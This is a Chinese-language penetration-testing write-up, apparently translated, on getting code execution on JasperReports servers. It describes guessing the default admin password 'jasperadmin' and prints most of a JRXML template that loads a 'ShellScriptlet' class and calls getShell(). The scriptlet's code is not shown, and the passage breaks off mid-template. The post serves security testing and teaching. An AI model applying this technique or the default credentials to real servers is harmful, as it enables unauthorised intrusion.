不久前,我的同事跟我在对一个客户端进行渗透测试。我们确实发现的一件事是,他们留下了几个联网的JasperReports服务器。寻找默认管理帐户的用户名并没有花费太多的精力。
也没有用多久我们就猜解出密码是“jasperadmin”
我从前听过JasperReports但从来没有碰到过要对它进行渗透测试。一个快速的google搜索也没有对前期工作产生多大的作用。尽管这个管理界面很不常见但是它也没有摆脱以某种方式来执行代码,所以顺利成章的我们开始在渗透旅程中把JasperReports渗透测试添加进“容易成功”的列表。
##代码和小脚本
JasperReports的目的是提取数据从各种各样的来源,例如:databases, xml, flat files等等,并且基于用户定义的模板用某种方式生成一份漂亮的报告。模板在JasperReports被定义为“JRXML”文件,任何拥有创建编辑报告权限的用户都可以上传它。
JasperReports的设计者允许数据在被包含在报告之前自定义操作。接下来就是利用一些小技巧用Java来编写一段脚本!我想也许你会看到这个。
我们的目标呢,就是创建一个报告模板(JRXML file)当然是依旧定制的恶意脚本,当它运行时,我们可以收到一个shell。这篇文章的其余部分将会详细描述我们是如何将脚本和报告模板联系到一起的。
##编辑模板
我们仅仅编辑一个存在的模板而不是创建一个。以下是我们将使用的模板。注意一下,过于复杂以及其中的90%是完全不必要的。下面这个只是一个带有“JasperStudio”的简单样本报告。35–42行是有趣的一个部分,我在这个部分插入了“ShellScriptlet”。
shell.jrxml
<?
xml
version
=
"1.0"
encoding
=
"UTF-8"
?>
<!-- Created with Jaspersoft Studio version 6.0.1.final using JasperReports Library version 6.0.0 -->
<!-- 2016-10-04T14:01:12 -->
<
jasperReport
xmlns
=
"http://jasperreports.sourceforge.net/jasperreports"
xmlns:xsi
=
"http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation
=
"http://jasperreports.sourceforge.net/jasperreportshttp://jasperreports.sourceforge.net/xsd/jasperreport.xsd"
name
=
"AllAccounts"
pageWidth
=
"595"
pageHeight
=
"842"
whenNoDataType
=
"AllSectionsNoDetail"
columnWidth
=
"515"
leftMargin
=
"40"
rightMargin
=
"40"
topMargin
=
"50"
bottomMargin
=
"50"
isSummaryWithPageHeaderAndFooter
=
"true"
uuid
=
"17f4b3c5-e096-4a65-b030-ed3bb58ce311"
>
<
property
name
=
"net.sf.jasperreports.export.pdf.tag.language"
value
=
"EN-US"
/>
<
style
name
=
"Sans_Normal"
isDefault
=
"true"
fontName
=
"DejaVu Sans"
fontSize
=
"12"
/>
<
style
name
=
"Sans_Bold"
fontName
=
"DejaVu Sans"
fontSize
=
"12"
isBold
=
"true"
/>
<
style
name
=
"Sans_Italic"
fontName
=
"DejaVu Sans"
fontSize
=
"12"
isItalic
=
"true"
/>
<
style
name
=
"PageHeader"
style
=
"Sans_Bold"
forecolor
=
"#FFFFFF"
backcolor
=
"#333333"
/>
<
style
name
=
"detail"
fontName
=
"DejaVu Sans"
fontSize
=
"12"
>
<
conditionalStyle
>
<
conditionExpression
>
<![CDATA[new Boolean($V{CityGroup_COUNT}.intValue() % 2 == 0)]]>
</
conditionExpression
>
<
style
mode
=
"Opaque"
backcolor
=
"#E0E0E0"
/>
</
conditionalStyle
>
</
style
>
<
subDataset
name
=
"Table Dataset 1"
uuid
=
"4fcc1d09-9859-48ee-bb6f-8d369bd49113"
>
<
queryString
>
<![CDATA[SELECT name, phone_office, billing_address_city, billing_address_street, billing_address_country FROM accounts ORDER BY billing_address_country, billing_address_city]]>
</
queryString
>
<
field
name
=
"name"
class
=
"java.lang.String"
/>
<
field
name
=
"phone_office"
class
=
"java.lang.String"
/>
<
field
name
=
"billing_address_city"
class
=
"java.lang.String"
/>
<
field
name
=
"billing_address_street"
class
=
"java.lang.String"
/>
<
field
name
=
"billing_address_country"
class
=
"java.lang.String"
/>
<
sortField
name
=
"billing_address_country"
/>
<
sortField
name
=
"billing_address_city"
/>
<
variable
name
=
"CityyNumber"
class
=
"java.lang.Integer"
incrementType
=
"Group"
incrementGroup
=
"CityGroup"
calculation
=
"Count"
>
<
variableExpression
>
<![CDATA[Boolean.TRUE]]>
</
variableExpression
>
<
initialValueExpression
>
<![CDATA[new Integer(0)]]>
</
initialValueExpression
>
</
variable
>
<
group
name
=
"CityGroup"
>
<
groupExpression
>
<![CDATA[$F{billing_address_city}]]>
</
groupExpression
>
</
group
>
</
subDataset
>
<
scriptlet
name
=
"ShellScriptlet"
class
=
"foxglove.shell.ShellScriptlet"
>
<
scriptletDescription
>
<![CDATA[]]>
</
scriptletDescription
>
</
scriptlet
>
<
title
>
<
band
height
=
"79"
splitType
=
"Stretch"
>
<
textField
>
<
reportElement
x
=
"227"
y
=
"20"
width
=
"100"
height
=
"30"
uuid
=
"32a2a8ff-d90a-48d7-b044-5325b5c6264f"
/>
<
textFieldExpression
>
<![CDATA[$P{ShellScriptlet_SCRIPTLET}.getShell()]]>
</
textFieldExpression
>
</
textField
>
</
band
>
</
title
>
<
pageFooter
>
<
band
height
=
"40"
>
<
line
>
<
reportElement
x
=